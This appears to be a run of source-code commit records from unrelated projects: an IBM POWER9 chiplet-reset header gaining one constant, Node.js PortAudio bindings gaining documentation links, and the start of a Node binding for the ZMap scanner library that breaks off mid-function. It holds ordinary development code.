IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/perv\/p9_sbe_chiplet_reset.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/------------------------------------------------------------------------------\n\/\/\/ @file p9_sbe_chiplet_reset.H\n\/\/\/\n\/\/\/ @brief Steps:-\n\/\/\/ 1) Identify Partical good chiplet and configure Multicasting register\n\/\/\/ 2) Similar way, Configure hang pulse counter for Nest\/MC\/OBus\/XBus\/PCIe\n\/\/\/ 3) Similar way, set fence for Nest and MC chiplet\n\/\/\/ 4) Similar way, Reset sys.config and OPCG setting for Nest and MC chiplet in sync mode\n\/\/\/\n\/\/\/ Done\n\/\/------------------------------------------------------------------------------\n\/\/ *HWP HW Owner : Abhishek Agarwal <abagarw8@in.ibm.com>\n\/\/ *HWP HW Backup Owner : Srinivas V. Naga <srinivan@in.ibm.com>\n\/\/ *HWP FW Owner : Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP Team : Perv\n\/\/ *HWP Level : 2\n\/\/ *HWP Consumed by : SBE\n\/\/------------------------------------------------------------------------------\n\n\n#ifndef _P9_SBE_CHIPLET_RESET_H_\n#define _P9_SBE_CHIPLET_RESET_H_\n\n\n#include <fapi2.H>\n\n\nnamespace p9SbeChipletReset\n{\nenum P9_SBE_CHIPLET_RESET_Public_Constants\n{\n MCGR0_CNFG_SETTINGS = 0xE0001C0000000000ull,\n MCGR1_CNFG_SETTINGS = 0xE4001C0000000000ull,\n MCGR2_CNFG_SETTINGS = 0xE8001C0000000000ull,\n MCGR3_CNFG_SETTINGS = 0xEC001C0000000000ull,\n NET_CNTL0_HW_INIT_VALUE = 0x7C16222000000000ull,\n HANG_PULSE_0X10 = 0x10,\n HANG_PULSE_0X0F = 0x0F,\n HANG_PULSE_0X06 = 0x06,\n HANG_PULSE_0X17 = 0x17,\n HANG_PULSE_0X18 = 0x18,\n HANG_PULSE_0X22 = 0x22,\n HANG_PULSE_0X13 = 0x13,\n HANG_PULSE_0X03 = 0x03,\n OPCG_ALIGN_SETTING = 0x5000000000003020ull,\n INOP_ALIGN_SETTING_0X5 = 0x5,\n OPCG_WAIT_CYCLE_0X020 = 0x020,\n SCAN_RATIO_0X3 = 0x3,\n SYNC_PULSE_DELAY_0X0 = 0X00,\n SYNC_CONFIG_DEFAULT = 0X0000000000000000,\n HANG_PULSE_0X00 = 0x00,\n HANG_PULSE_0X01 = 0x01,\n HANG_PULSE_0X04 = 0x04,\n HANG_PULSE_0X1A = 0x1A,\n NET_CNTL1_HW_INIT_VALUE = 0x7200000000000000ull,\n MCGR2_CACHE_CNFG_SETTINGS = 0xF0001C0000000000ull,\n MCGR3_CACHE_CNFG_SETTINGS = 0xF4001C0000000000ull,\n MCGR4_CACHE_CNFG_SETTINGS = 0xF8001C0000000000ull,\n REGIONS_EXCEPT_VITAL = 0x7FF,\n SCAN_TYPES_EXCEPT_TIME_GPTR_REPR = 0xDCE,\n SCAN_TYPES_TIME_GPTR_REPR = 0x230,\n SCAN_RATIO_0X0 = 0x0,\n SYNC_CONFIG_4TO1 = 0X0800000000000000,\n HW_NS_DELAY = 200000, \/\/ unit is nano seconds\n SIM_CYCLE_DELAY = 10000, \/\/ unit is cycles\n HANG_PULSE_0X12 = 0x12,\n HANG_PULSE_0X1C = 0x1C\n};\n}\n\ntypedef fapi2::ReturnCode (*p9_sbe_chiplet_reset_FP_t)(const\n fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>&);\n\n\/\/\/ @brief Identify all good chiplets excluding EQ\/EC\n\/\/\/ -- All chiplets will be reset and PLLs started\n\/\/\/ -- Partial bad - All nest Chiplets must be good, MC, IO can be partial bad\n\/\/\/ Setup multicast groups for all chiplets\n\/\/\/ -- Can't use the multicast for all non-nest chiplets\n\/\/\/ -- This is intended to be the eventual product setting\n\/\/\/ -- This includes the core\/cache chiplets\n\/\/\/ For all good chiplets excluding EQ\/EC\n\/\/\/ -- Setup Chiplet GP3 regs\n\/\/\/ -- Reset to default state\n\/\/\/ -- Set chiplet enable on all all good chiplets excluding EQ\/EC\n\/\/\/ For all enabled chiplets excluding EQ\/EC\/Buses\n\/\/\/ -- Start vital clocks and release endpoint reset\n\/\/\/ -- PCB Slave error register Reset\n\/\/\/\n\/\/\/\n\/\/\/ @param[in] i_target_chip Reference to TARGET_TYPE_PROC_CHIP target\n\/\/\/ @return FAPI2_RC_SUCCESS if success, else error code.\nextern \"C\"\n{\n fapi2::ReturnCode p9_sbe_chiplet_reset(const\n fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target_chip);\n}\n\n#endif\n<commit_msg>IPL updates -- IPL_flow_v180<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/perv\/p9_sbe_chiplet_reset.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/------------------------------------------------------------------------------\n\/\/\/ @file p9_sbe_chiplet_reset.H\n\/\/\/\n\/\/\/ @brief Steps:-\n\/\/\/ 1) Identify Partical good chiplet and configure Multicasting register\n\/\/\/ 2) Similar way, Configure hang pulse counter for Nest\/MC\/OBus\/XBus\/PCIe\n\/\/\/ 3) Similar way, set fence for Nest and MC chiplet\n\/\/\/ 4) Similar way, Reset sys.config and OPCG setting for Nest and MC chiplet in sync mode\n\/\/\/\n\/\/\/ Done\n\/\/------------------------------------------------------------------------------\n\/\/ *HWP HW Owner : Abhishek Agarwal <abagarw8@in.ibm.com>\n\/\/ *HWP HW Backup Owner : Srinivas V. Naga <srinivan@in.ibm.com>\n\/\/ *HWP FW Owner : Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP Team : Perv\n\/\/ *HWP Level : 2\n\/\/ *HWP Consumed by : SBE\n\/\/------------------------------------------------------------------------------\n\n\n#ifndef _P9_SBE_CHIPLET_RESET_H_\n#define _P9_SBE_CHIPLET_RESET_H_\n\n\n#include <fapi2.H>\n\n\nnamespace p9SbeChipletReset\n{\nenum P9_SBE_CHIPLET_RESET_Public_Constants\n{\n MCGR0_CNFG_SETTINGS = 0xE0001C0000000000ull,\n MCGR1_CNFG_SETTINGS = 0xE4001C0000000000ull,\n MCGR2_CNFG_SETTINGS = 0xE8001C0000000000ull,\n MCGR3_CNFG_SETTINGS = 0xEC001C0000000000ull,\n NET_CNTL0_HW_INIT_VALUE = 0x7C16222000000000ull,\n HANG_PULSE_0X10 = 0x10,\n HANG_PULSE_0X0F = 0x0F,\n HANG_PULSE_0X06 = 0x06,\n HANG_PULSE_0X17 = 0x17,\n HANG_PULSE_0X18 = 0x18,\n HANG_PULSE_0X22 = 0x22,\n HANG_PULSE_0X13 = 0x13,\n HANG_PULSE_0X03 = 0x03,\n OPCG_ALIGN_SETTING = 0x5000000000003020ull,\n INOP_ALIGN_SETTING_0X5 = 0x5,\n OPCG_WAIT_CYCLE_0X020 = 0x020,\n SCAN_RATIO_0X3 = 0x3,\n SYNC_PULSE_DELAY_0X0 = 0X00,\n SYNC_CONFIG_DEFAULT = 0X0000000000000000,\n HANG_PULSE_0X00 = 0x00,\n HANG_PULSE_0X01 = 0x01,\n HANG_PULSE_0X04 = 0x04,\n HANG_PULSE_0X1A = 0x1A,\n NET_CNTL1_HW_INIT_VALUE = 0x7200000000000000ull,\n MCGR2_CACHE_CNFG_SETTINGS = 0xF0001C0000000000ull,\n MCGR3_CACHE_CNFG_SETTINGS = 0xF4001C0000000000ull,\n MCGR4_CACHE_CNFG_SETTINGS = 0xF8001C0000000000ull,\n REGIONS_EXCEPT_VITAL = 0x7FF,\n SCAN_TYPES_EXCEPT_TIME_GPTR_REPR = 0xDCE,\n SCAN_TYPES_TIME_GPTR_REPR = 0x230,\n SCAN_RATIO_0X0 = 0x0,\n SYNC_CONFIG_4TO1 = 0X0800000000000000,\n HW_NS_DELAY = 200000, \/\/ unit is nano seconds\n SIM_CYCLE_DELAY = 10000, \/\/ unit is cycles\n HANG_PULSE_0X12 = 0x12,\n HANG_PULSE_0X1C = 0x1C,\n HANG_PULSE_0X05 = 0x05\n};\n}\n\ntypedef fapi2::ReturnCode (*p9_sbe_chiplet_reset_FP_t)(const\n fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>&);\n\n\/\/\/ @brief Identify all good chiplets excluding EQ\/EC\n\/\/\/ -- All chiplets will be reset and PLLs started\n\/\/\/ -- Partial bad - All nest Chiplets must be good, MC, IO can be partial bad\n\/\/\/ Setup multicast groups for all chiplets\n\/\/\/ -- Can't use the multicast for all non-nest chiplets\n\/\/\/ -- This is intended to be the eventual product setting\n\/\/\/ -- This includes the core\/cache chiplets\n\/\/\/ For all good chiplets excluding EQ\/EC\n\/\/\/ -- Setup Chiplet GP3 regs\n\/\/\/ -- Reset to default state\n\/\/\/ -- Set chiplet enable on all all good chiplets excluding EQ\/EC\n\/\/\/ For all enabled chiplets excluding EQ\/EC\/Buses\n\/\/\/ -- Start vital clocks and release endpoint reset\n\/\/\/ -- PCB Slave error register Reset\n\/\/\/\n\/\/\/\n\/\/\/ @param[in] i_target_chip Reference to TARGET_TYPE_PROC_CHIP target\n\/\/\/ @return FAPI2_RC_SUCCESS if success, else error code.\nextern \"C\"\n{\n fapi2::ReturnCode p9_sbe_chiplet_reset(const\n fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target_chip);\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n http:\/\/portaudio.com\/docs\/v19-doxydocs\/api_overview.html\n*\/\n\n\n\/* BEGIN Setup *\/\n#include \"jsaudio.h\"\n#include \"helpers.h\"\n#include \"stream.h\"\n\n\/* Initialize stream and jsStreamCb as global *\/\nLocalFunction jsStreamCb;\n\n\/* BEGIN Initialization, termination, and utility *\/\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#abed859482d156622d9332dff9b2d89da\nNAN_METHOD(initialize) {\n PaError err = Pa_Initialize();\n if (err != paNoError) {\n ThrowError(Pa_GetErrorText(err));\n }\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a0db317604e916e8bd6098e60e6237221\nNAN_METHOD(terminate) {\n PaError err = Pa_Terminate();\n if (err != paNoError) {\n ThrowError(Pa_GetErrorText(err));\n }\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a66da08bcf908e0849c62a6b47f50d7b4\nNAN_METHOD(getVersion) {\n info.GetReturnValue().Set(Pa_GetVersion());\n}\n\n\/* BEGIN Host APIs *\/\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a19dbdb7c8702e3f4bfc0cdb99dac3dd9\nNAN_METHOD(getHostApiCount) {\n info.GetReturnValue().Set(Pa_GetHostApiCount());\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#ae55c77f9b7e3f8eb301a6f1c0e2347ac\nNAN_METHOD(getDefaultHostApi) {\n info.GetReturnValue().Set(Pa_GetDefaultHostApi());\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a7c650aede88ea553066bab9bbe97ea90\nNAN_METHOD(getHostApiInfo) {\n HandleScope scope;\n int api = info[0].IsEmpty() ? Pa_GetDefaultHostApi() : info[0]->Uint32Value();\n const PaHostApiInfo* hai = Pa_GetHostApiInfo(api);\n LocalObject obj = New<Object>();\n obj->Set(ToLocString(\"apiIndex\"), New<Number>(api));\n HostApiInfoToLocalObject(obj, hai);\n info.GetReturnValue().Set(obj);\n}\n\n\/* BEGIN Device APIs *\/\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#acfe4d3c5ec1a343f459981bfa2057f8d\nNAN_METHOD(getDeviceCount) {\n info.GetReturnValue().Set(Pa_GetDeviceCount());\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#abf9f2f82da95553d5adb929af670f74b\nNAN_METHOD(getDefaultInputDevice) {\n info.GetReturnValue().Set(Pa_GetDefaultInputDevice());\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#adc955dfab007624000695c48d4f876dc\nNAN_METHOD(getDefaultOutputDevice) {\n info.GetReturnValue().Set(Pa_GetDefaultOutputDevice());\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#ac7d8e091ffc1d1d4a035704660e117eb\nNAN_METHOD(getDeviceInfo) {\n HandleScope scope;\n int dvc = info[0].IsEmpty()\n ? Pa_GetDefaultInputDevice()\n : info[0]->Uint32Value();\n const PaDeviceInfo* di = Pa_GetDeviceInfo(dvc);\n LocalObject obj = New<Object>();\n obj->Set(ToLocString(\"deviceIndex\"), New<Number>(dvc));\n DeviceInfoToLocalObject(obj, di);\n info.GetReturnValue().Set(obj);\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a443ad16338191af364e3be988014cbbe\nNAN_METHOD(openStream) {\n HandleScope scope;\n PaError err;\n \n \/\/ Get params objects\n LocalObject obj = info[0]->ToObject();\n JsPaStream* stream = ObjectWrap::Unwrap<JsPaStream>(ToLocObject(Get(obj, ToLocString(\"stream\"))));\n \n LocalObject objInput = ToLocObject(Get(obj, ToLocString(\"input\")));\n LocalObject objOutput = ToLocObject(Get(obj, ToLocString(\"output\")));\n \n PaStreamParameters paramsIn = LocObjToPaStreamParameters(objInput);\n PaStreamParameters paramsOut = LocObjToPaStreamParameters(objOutput);\n \/\/ Get stream options\n double sampleRate = LocalizeDouble(Get(obj, ToLocString(\"sampleRate\")));\n unsigned long framesPerBuffer = LocalizeULong(\n Get(obj, ToLocString(\"framesPerBuffer\")));\n PaStreamFlags streamFlags = static_cast<PaStreamFlags>(\n Get(obj, ToLocString(\"streamFlags\")).ToLocalChecked()->IntegerValue());\n \n \/\/ Start stream\n err = Pa_OpenStream(\n stream->streamPtrRef(),\n ¶msIn,\n ¶msOut,\n sampleRate,\n framesPerBuffer,\n streamFlags,\n NULL,\n NULL\n );\n if (err != paNoError) {\n printf(\"%s\\n\", \"OpenStream: \");\n printf(\"%s\\n\", Pa_GetErrorText(err));\n \/\/ ThrowError(Pa_GetErrorText(err));\n }\n \/\/ Testing that params are set right\n info.GetReturnValue().Set(New<Number>(err));\n}\n\n\/*\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a0a12735ac191200f696a43b87667b714\nNAN_METHOD(openDefaultStream) {\n \/\/ ToDo: implement this\n}\n*\/\n\n\/\/http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a7432aadd26c40452da12fa99fc1a047b\nNAN_METHOD(startStream) {\n HandleScope scope;\n PaError err;\n \n \/\/ Get stream object\n LocalObject obj = info[0]->ToObject();\n JsPaStream* stream = ObjectWrap::Unwrap<JsPaStream>(info[0]->ToObject());\n \n \/\/ Start stream\n err = Pa_StartStream(stream->streamPtr());\n if (err != paNoError) {\n printf(\"%s\\n\", \"StartStream: \");\n printf(\"%s\\n\", Pa_GetErrorText(err));\n \/\/ ThrowError(Pa_GetErrorText(err));\n }\n \/\/ Testing that params are set right\n info.GetReturnValue().Set(New<Number>(err)); \n}\n\nNAN_METHOD(getStreamWriteAvailable) {\n HandleScope scope;\n long retVal;\n \n \/\/ Get stream object\n LocalObject obj = info[0]->ToObject();\n JsPaStream* stream = ObjectWrap::Unwrap<JsPaStream>(info[0]->ToObject());\n \n \/\/ Start stream\n retVal = Pa_GetStreamWriteAvailable(stream->streamPtr());\n \n \/\/ Testing that params are set right\n info.GetReturnValue().Set(New<Number>(retVal)); \n}\n\nNAN_METHOD(getStreamReadAvailable) {\n HandleScope scope;\n long retVal;\n \n \/\/ Get stream object\n LocalObject obj = info[0]->ToObject();\n JsPaStream* stream = ObjectWrap::Unwrap<JsPaStream>(info[0]->ToObject());\n \n \/\/ Start stream\n retVal = Pa_GetStreamReadAvailable(stream->streamPtr());\n \n \/\/ Testing that params are set right\n info.GetReturnValue().Set(New<Number>(retVal)); \n}\n\nNAN_METHOD(writeStream) {\n HandleScope scope;\n long retVal;\n \n \/\/ Get stream object\n LocalObject obj = info[0]->ToObject();\n JsPaStream* stream = ObjectWrap::Unwrap<JsPaStream>(info[0]->ToObject());\n \n \/\/ Get the buffer data\n TypedArrayContents<float> buf(info[1]);\n unsigned long bufFrames = static_cast<unsigned long>(buf.length()) \/ 2;\n \n \/\/ Start stream\n retVal = Pa_WriteStream(stream->streamPtr(), *buf, bufFrames);\n \n \/\/ Testing that params are set right\n info.GetReturnValue().Set(New<Number>(retVal)); \n}\n\nNAN_METHOD(readStream) {\n HandleScope scope;\n long retVal;\n \n \/\/ Get stream object\n LocalObject obj = info[0]->ToObject();\n JsPaStream* stream = ObjectWrap::Unwrap<JsPaStream>(info[0]->ToObject());\n \n \/\/ Get the buffer data\n TypedArrayContents<float> buf(info[1]);\n unsigned long bufFrames = static_cast<unsigned long>(buf.length()) \/ 2;\n \n \/\/ Start stream\n retVal = Pa_ReadStream(stream->streamPtr(), *buf, bufFrames);\n \n \/\/ Testing that params are set right\n info.GetReturnValue().Set(New<Number>(retVal)); \n}\n<commit_msg>Added links to PortAudio docs<commit_after>\/*\n http:\/\/portaudio.com\/docs\/v19-doxydocs\/api_overview.html\n*\/\n\n\n\/* BEGIN Setup *\/\n#include \"jsaudio.h\"\n#include \"helpers.h\"\n#include \"stream.h\"\n\n\/* Initialize stream and jsStreamCb as global *\/\nLocalFunction jsStreamCb;\n\n\/* BEGIN Initialization, termination, and utility *\/\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#abed859482d156622d9332dff9b2d89da\nNAN_METHOD(initialize) {\n PaError err = Pa_Initialize();\n if (err != paNoError) {\n ThrowError(Pa_GetErrorText(err));\n }\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a0db317604e916e8bd6098e60e6237221\nNAN_METHOD(terminate) {\n PaError err = Pa_Terminate();\n if (err != paNoError) {\n ThrowError(Pa_GetErrorText(err));\n }\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a66da08bcf908e0849c62a6b47f50d7b4\nNAN_METHOD(getVersion) {\n info.GetReturnValue().Set(Pa_GetVersion());\n}\n\n\/* BEGIN Host APIs *\/\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a19dbdb7c8702e3f4bfc0cdb99dac3dd9\nNAN_METHOD(getHostApiCount) {\n info.GetReturnValue().Set(Pa_GetHostApiCount());\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#ae55c77f9b7e3f8eb301a6f1c0e2347ac\nNAN_METHOD(getDefaultHostApi) {\n info.GetReturnValue().Set(Pa_GetDefaultHostApi());\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a7c650aede88ea553066bab9bbe97ea90\nNAN_METHOD(getHostApiInfo) {\n HandleScope scope;\n int api = info[0].IsEmpty() ? Pa_GetDefaultHostApi() : info[0]->Uint32Value();\n const PaHostApiInfo* hai = Pa_GetHostApiInfo(api);\n LocalObject obj = New<Object>();\n obj->Set(ToLocString(\"apiIndex\"), New<Number>(api));\n HostApiInfoToLocalObject(obj, hai);\n info.GetReturnValue().Set(obj);\n}\n\n\/* BEGIN Device APIs *\/\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#acfe4d3c5ec1a343f459981bfa2057f8d\nNAN_METHOD(getDeviceCount) {\n info.GetReturnValue().Set(Pa_GetDeviceCount());\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#abf9f2f82da95553d5adb929af670f74b\nNAN_METHOD(getDefaultInputDevice) {\n info.GetReturnValue().Set(Pa_GetDefaultInputDevice());\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#adc955dfab007624000695c48d4f876dc\nNAN_METHOD(getDefaultOutputDevice) {\n info.GetReturnValue().Set(Pa_GetDefaultOutputDevice());\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#ac7d8e091ffc1d1d4a035704660e117eb\nNAN_METHOD(getDeviceInfo) {\n HandleScope scope;\n int dvc = info[0].IsEmpty()\n ? Pa_GetDefaultInputDevice()\n : info[0]->Uint32Value();\n const PaDeviceInfo* di = Pa_GetDeviceInfo(dvc);\n LocalObject obj = New<Object>();\n obj->Set(ToLocString(\"deviceIndex\"), New<Number>(dvc));\n DeviceInfoToLocalObject(obj, di);\n info.GetReturnValue().Set(obj);\n}\n\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a443ad16338191af364e3be988014cbbe\nNAN_METHOD(openStream) {\n HandleScope scope;\n PaError err;\n \n \/\/ Get params objects\n LocalObject obj = info[0]->ToObject();\n JsPaStream* stream = ObjectWrap::Unwrap<JsPaStream>(ToLocObject(Get(obj, ToLocString(\"stream\"))));\n \n LocalObject objInput = ToLocObject(Get(obj, ToLocString(\"input\")));\n LocalObject objOutput = ToLocObject(Get(obj, ToLocString(\"output\")));\n \n PaStreamParameters paramsIn = LocObjToPaStreamParameters(objInput);\n PaStreamParameters paramsOut = LocObjToPaStreamParameters(objOutput);\n \/\/ Get stream options\n double sampleRate = LocalizeDouble(Get(obj, ToLocString(\"sampleRate\")));\n unsigned long framesPerBuffer = LocalizeULong(\n Get(obj, ToLocString(\"framesPerBuffer\")));\n PaStreamFlags streamFlags = static_cast<PaStreamFlags>(\n Get(obj, ToLocString(\"streamFlags\")).ToLocalChecked()->IntegerValue());\n \n \/\/ Start stream\n err = Pa_OpenStream(\n stream->streamPtrRef(),\n ¶msIn,\n ¶msOut,\n sampleRate,\n framesPerBuffer,\n streamFlags,\n NULL,\n NULL\n );\n if (err != paNoError) {\n printf(\"%s\\n\", \"OpenStream: \");\n printf(\"%s\\n\", Pa_GetErrorText(err));\n \/\/ ThrowError(Pa_GetErrorText(err));\n }\n \/\/ Testing that params are set right\n info.GetReturnValue().Set(New<Number>(err));\n}\n\n\/*\n\/\/ http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a0a12735ac191200f696a43b87667b714\nNAN_METHOD(openDefaultStream) {\n \/\/ ToDo: implement this\n}\n*\/\n\n\/\/http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a7432aadd26c40452da12fa99fc1a047b\nNAN_METHOD(startStream) {\n HandleScope scope;\n PaError err;\n \n \/\/ Get stream object\n LocalObject obj = info[0]->ToObject();\n JsPaStream* stream = ObjectWrap::Unwrap<JsPaStream>(info[0]->ToObject());\n \n \/\/ Start stream\n err = Pa_StartStream(stream->streamPtr());\n if (err != paNoError) {\n printf(\"%s\\n\", \"StartStream: \");\n printf(\"%s\\n\", Pa_GetErrorText(err));\n \/\/ ThrowError(Pa_GetErrorText(err));\n }\n \/\/ Testing that params are set right\n info.GetReturnValue().Set(New<Number>(err)); \n}\n\n\/\/http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a25595acf48733ec32045aa189c3caa61\nNAN_METHOD(getStreamWriteAvailable) {\n HandleScope scope;\n long retVal;\n \n \/\/ Get stream object\n LocalObject obj = info[0]->ToObject();\n JsPaStream* stream = ObjectWrap::Unwrap<JsPaStream>(info[0]->ToObject());\n \n \/\/ Start stream\n retVal = Pa_GetStreamWriteAvailable(stream->streamPtr());\n \n \/\/ Testing that params are set right\n info.GetReturnValue().Set(New<Number>(retVal)); \n}\n\n\/\/http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#ad04c33f045fa58d7b705b56b1fd3e816\nNAN_METHOD(getStreamReadAvailable) {\n HandleScope scope;\n long retVal;\n \n \/\/ Get stream object\n LocalObject obj = info[0]->ToObject();\n JsPaStream* stream = ObjectWrap::Unwrap<JsPaStream>(info[0]->ToObject());\n \n \/\/ Start stream\n retVal = Pa_GetStreamReadAvailable(stream->streamPtr());\n \n \/\/ Testing that params are set right\n info.GetReturnValue().Set(New<Number>(retVal)); \n}\n\n\/\/http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a075a6efb503a728213bdae24347ed27d\nNAN_METHOD(writeStream) {\n HandleScope scope;\n long retVal;\n \n \/\/ Get stream object\n LocalObject obj = info[0]->ToObject();\n JsPaStream* stream = ObjectWrap::Unwrap<JsPaStream>(info[0]->ToObject());\n \n \/\/ Get the buffer data\n TypedArrayContents<float> buf(info[1]);\n unsigned long bufFrames = static_cast<unsigned long>(buf.length()) \/ 2;\n \n \/\/ Start stream\n retVal = Pa_WriteStream(stream->streamPtr(), *buf, bufFrames);\n \n \/\/ Testing that params are set right\n info.GetReturnValue().Set(New<Number>(retVal)); \n}\n\n\/\/http:\/\/portaudio.com\/docs\/v19-doxydocs\/portaudio_8h.html#a0b62d4b74b5d3d88368e9e4c0b8b2dc7\nNAN_METHOD(readStream) {\n HandleScope scope;\n long retVal;\n \n \/\/ Get stream object\n LocalObject obj = info[0]->ToObject();\n JsPaStream* stream = ObjectWrap::Unwrap<JsPaStream>(info[0]->ToObject());\n \n \/\/ Get the buffer data\n TypedArrayContents<float> buf(info[1]);\n unsigned long bufFrames = static_cast<unsigned long>(buf.length()) \/ 2;\n \n \/\/ Start stream\n retVal = Pa_ReadStream(stream->streamPtr(), *buf, bufFrames);\n \n \/\/ Testing that params are set right\n info.GetReturnValue().Set(New<Number>(retVal)); \n}\n<|endoftext|>"} {"text":"<commit_before>#include <node.h>\n#include <v8.h>\n\n#include \"zmap-1.2.1\/src\/zopt.h\"\n\n#include \"libzmap.h\"\n\nnamespace libzmap {\n\nusing namespace node;\nusing namespace v8;\n\nHandle<Value> LibZMAP(const Arguments& args) {\n HandleScope scope;\n\n Local<Function> callback;\n Local<Object> obj;\n\n if (args.Length() < 1) {\n ThrowException(Exception::TypeError(String::New(\"Arguments invalid\")));\n return scope.Close(Undefined());\n }\n\n if (args[0]->IsFunction()) {\n callback = Local<Function>::Cast(args[0]);\n } else {\n if (!args[1]->IsFunction()) {\n ThrowException(Exception::TypeError(String::New(\"Function expected\")));\n return scope.Close(Undefined());\n }\n\n callback = Local<Function>::Cast(args[1]);\n\n if (!args[0]->IsObject()) {\n ThrowException(Exception::TypeError(String::New(\"Object expected\")));\n return scope.Close(Undefined());\n }\n }\n\n if (args[0]->IsObject()) {\n obj = args[0]->ToObject();\n }\n\n obj->Set(String::NewSymbol(\"x\"),\n String::New(\"wtf\"));\n\n \/* Setup options *\/\n \/* Initialize scan *\/\n\n return scope.Close(obj);\n}\n\nvoid Init (Handle<Object> exports) {\n exports->Set(String::NewSymbol(\"zmap\"),\n FunctionTemplate::New(LibZMAP)->GetFunction());\n}\n\nextern \"C\" {\n NODE_MODULE(zmap, Init)\n}\n\n} \/\/ namespace libzmap\n<commit_msg>development Tue Sep 2 04:25:20 MDT 2014: Working on argument to option conversions<commit_after>#include <node.h>\n#include <v8.h>\n\n#include \"zmap-1.2.1\/src\/zopt.h\"\n\n#include \"libzmap.h\"\n\nnamespace libzmap {\n\nusing namespace node;\nusing namespace v8;\n\nHandle<Value> LibZMAP(const Arguments& args) {\n HandleScope scope;\n\n struct gengetopt_args_info argv;\n struct cmdline_parser_params *params;\n params = cmdline_parser_params_create();\n params->initialize = 1;\n params->override = 0;\n params->check_required = 0;\n\n int config_loaded = 0;\n\n if (cmdline_parser_ext(args.Length(), args[0], &argv, params) != 0) {\n ThrowException(Exception::TypeError(String::New(\"cmdline_parser_ext met\")));\n \/\/exit(EXIT_SUCCESS);\n }\n\n Local<Function> callback;\n Local<Object> obj;\n\n if (args.Length() < 1) {\n ThrowException(Exception::TypeError(String::New(\"Arguments invalid\")));\n return scope.Close(Undefined());\n }\n\n if (args[0]->IsFunction()) {\n callback = 